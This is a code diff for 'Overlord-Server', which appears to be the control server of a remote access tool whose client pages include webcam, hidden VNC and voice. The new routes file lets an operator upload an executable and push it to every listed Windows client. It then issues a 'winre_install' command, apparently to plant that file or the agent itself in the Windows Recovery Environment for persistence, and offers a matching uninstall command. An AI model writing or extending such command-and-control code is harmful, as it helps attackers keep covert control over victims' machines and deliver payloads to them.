diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts
index 8841a69..7d2e2d4 100644
--- a/Overlord-Server/src/server/routes/page-routes.ts
+++ b/Overlord-Server/src/server/routes/page-routes.ts
@@ -84,6 +84,7 @@ const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
{ path: "/webcam", file: "webcam.html" },
{ path: "/hvnc", file: "hvnc.html" },
{ path: "/voice", file: "voice.html" },
+ { path: "/winre", file: "winre.html" },
];
/** Client-scoped pages accessed via path /:clientId/feature */
diff --git a/Overlord-Server/src/server/routes/winre-routes.ts b/Overlord-Server/src/server/routes/winre-routes.ts
new file mode 100644
index 0000000..06ab509
--- /dev/null
+++ b/Overlord-Server/src/server/routes/winre-routes.ts
@@ -0,0 +1,294 @@
+import fs from "fs/promises";
+import path from "path";
+import { v4 as uuidv4 } from "uuid";
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import * as clientManager from "../../clientManager";
+import { metrics } from "../../metrics";
+import { encodeMessage } from "../../protocol";
+import { createUploadPull } from "./file-download-routes";
+
+type RequestIpProvider = {
+ requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+type WinREUpload = {
+ id: string;
+ path: string;
+ name: string;
+ size: number;
+};
+
+type WinRERouteDeps = {
+ WINRE_ROOT: string;
+ winreUploads: Map;
+};
+
+export async function handleWinRERoutes(
+ req: Request,
+ url: URL,
+ server: RequestIpProvider,
+ deps: WinRERouteDeps,
+): Promise {
+ if (!url.pathname.startsWith("/api/winre")) {
+ return null;
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/winre/upload") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ let form: FormData;
+ try {
+ form = await req.formData();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const file = form.get("file");
+ if (!(file instanceof File)) {
+ return new Response("Missing file", { status: 400 });
+ }
+
+ const filename = path.basename(file.name || "upload.exe");
+ const id = uuidv4();
+ await fs.mkdir(deps.WINRE_ROOT, { recursive: true });
+ const folder = path.join(deps.WINRE_ROOT, id);
+ await fs.mkdir(folder, { recursive: true });
+ const targetPath = path.join(folder, filename);
+ const bytes = new Uint8Array(await file.arrayBuffer());
+ await fs.writeFile(targetPath, bytes);
+
+ const entry: WinREUpload = {
+ id,
+ path: targetPath,
+ name: filename,
+ size: bytes.length,
+ };
+ deps.winreUploads.set(id, entry);
+
+ return Response.json({ ok: true, uploadId: id, name: filename, size: bytes.length });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/winre/install") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
+ const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
+ if (!uploadId || clientIds.length === 0) {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const upload = deps.winreUploads.get(uploadId);
+ if (!upload) {
+ return new Response("Not found", { status: 404 });
+ }
+
+ const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
+
+ for (const clientId of clientIds) {
+ const target = clientManager.getClient(clientId);
+ if (!target) {
+ results.push({ clientId, ok: false, reason: "offline" });
+ continue;
+ }
+
+ const clientOs = (target.os || "").toLowerCase();
+ if (!clientOs.includes("windows")) {
+ results.push({ clientId, ok: false, reason: "windows_only" });
+ continue;
+ }
+
+ const destDir = `C:\\Windows\\Temp\\Overlord\\winre_${upload.id}`;
+ const destPath = `${destDir}\\${upload.name}`;
+
+ const pullId = createUploadPull({
+ clientId,
+ filePath: upload.path,
+ fileName: upload.name,
+ size: upload.size,
+ });
+ const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
+
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "file_upload_http" as any,
+ id: uuidv4(),
+ payload: { path: destPath, url: pullUrl, total: upload.size },
+ }),
+ );
+
+ const cmdId = uuidv4();
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "winre_install",
+ id: cmdId,
+ payload: { filePath: destPath },
+ }),
+ );
+
+ metrics.recordCommand("winre_install");
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip: server.requestIP(req)?.address || "unknown",
+ action: AuditAction.WINRE_INSTALL,
+ targetClientId: clientId,
+ success: true,
+ details: JSON.stringify({ uploadId, filePath: destPath }),
+ });
+
+ results.push({ clientId, ok: true });
+ }
+
+ return Response.json({ ok: true, results });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/winre/install-self") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
+ if (clientIds.length === 0) {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
+
+ for (const clientId of clientIds) {
+ const target = clientManager.getClient(clientId);
+ if (!target) {
+ results.push({ clientId, ok: false, reason: "offline" });
+ continue;
+ }
+
+ const clientOs = (target.os || "").toLowerCase();
+ if (!clientOs.includes("windows")) {
+ results.push({ clientId, ok: false, reason: "windows_only" });
+ continue;
+ }
+
+ const cmdId = uuidv4();
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "winre_install",
+ id: cmdId,
+ payload: { useSelf: true },
+ }),
+ );
+
+ metrics.recordCommand("winre_install");
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip: server.requestIP(req)?.address || "unknown",
+ action: AuditAction.WINRE_INSTALL,
+ targetClientId: clientId,
+ success: true,
+ details: JSON.stringify({ useSelf: true }),
+ });
+
+ results.push({ clientId, ok: true });
+ }
+
+ return Response.json({ ok: true, results });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/winre/uninstall") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
+ if (clientIds.length === 0) {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
+
+ for (const clientId of clientIds) {
+ const target = clientManager.getClient(clientId);
+ if (!target) {
+ results.push({ clientId, ok: false, reason: "offline" });
+ continue;
+ }
+
+ const clientOs = (target.os || "").toLowerCase();
+ if (!clientOs.includes("windows")) {
+ results.push({ clientId, ok: false, reason: "windows_only" });
+ continue;
+ }
+
+ const cmdId = uuidv4();
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "winre_uninstall",
+ id: cmdId,
+ payload: {},
+ }),
+ );
+
+ metrics.recordCommand("winre_uninstall");
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip: server.requestIP(req)?.address || "unknown",
+ action: AuditAction.WINRE_UNINSTALL,
+ targetClientId: clientId,
+ success: true,
+ details: JSON.stringify({ clientId }),
+ });
+
+ results.push({ clientId, ok: true });
+ }
+
+ return Response.json({ ok: true, results });
+ }
+
+ return null;
+}